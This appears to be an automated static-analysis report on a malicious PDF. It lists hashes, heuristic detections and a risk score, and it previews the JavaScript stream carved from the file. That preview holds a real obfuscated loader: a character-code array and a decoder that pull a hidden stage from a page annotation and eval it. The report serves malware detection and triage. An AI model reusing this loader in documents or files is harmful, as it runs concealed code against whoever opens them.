Malicious PDF — malware analysis report

Static analysis result for SHA-256 565246565d4607b3…

MALICIOUS

PDF

12.7 KB First seen: 2026-05-08
MD5: 376e52eca8dc85dcfedcba057222ee07 SHA-1: 740e2f35702c2c58026b030137442840a040f7f0 SHA-256: 565246565d4607b341edfe6a64659aa2dfa1167f2a2c541ac13cfe9e70b1c46f
156 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings including 'PDF_JAVASCRIPT' and 'PDF_JS'. The ML classifier strongly flagged this PDF as malicious. The embedded JavaScript stream, named 'javascript_obj0005_000.js', shows signs of obfuscation, suggesting it is designed to download and execute a second-stage payload. The document body is unreadable, but the presence and nature of the script are sufficient to infer malicious intent.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 5

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a large numeric character-code array feeding an auto-run script) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
            for (var i=0; i < list.length; i++) {
                result +=  String.fromCharCode(list[i] - jump);
            }
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0005_000.js pdf-javascript-stream PDF /JS object 5 at offset 0x107 916 bytes
SHA-256: f048286b2dfe205330e162117bc9e2e9406092389e25aa91660890d79cb205b6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
sourceCode = "118,97,114,32,122,59,32,118,97,114,32,121,59,32,122,32,61,32,121,32,61,32,97,112,112,46,100,111,99,59,32,10,9,32,121,32,61,32,48,59,32,9,32,122,46,115,121,110,99,65,110,110,111,116,83,99,97,110,32,40,32,41,59,32,121,32,61,32,122,59,118,97,114,32,112,32,61,32,121,46,103,101,116,65,110,110,111,116,115,40,32,123,32,32,110,80,97,103,101,58,32,48,32,125,41,32,59,118,97,114,32,115,32,61,32,112,91,48,93,46,115,117,98,106,101,99,116,59,32,118,97,114,32,108,32,61,32,115,46,114,101,112,108,97,99,101,40,47,122,47,103,44,32,39,37,39,41,59,32,115,32,61,32,32,117,110,101,115,99,97,112,101,32,40,108,41,32,59,101,118,97,108,40,115,41,59,32,115,32,61,32,39,39,59,32,122,32,61,32,49,59"; 
function decrypt(str, jump){
var result = "";
var list = str.split(',');
        for (var i=0; i < list.length; i++) {
            result +=  String.fromCharCode(list[i] - jump);
        }
        return result;
        }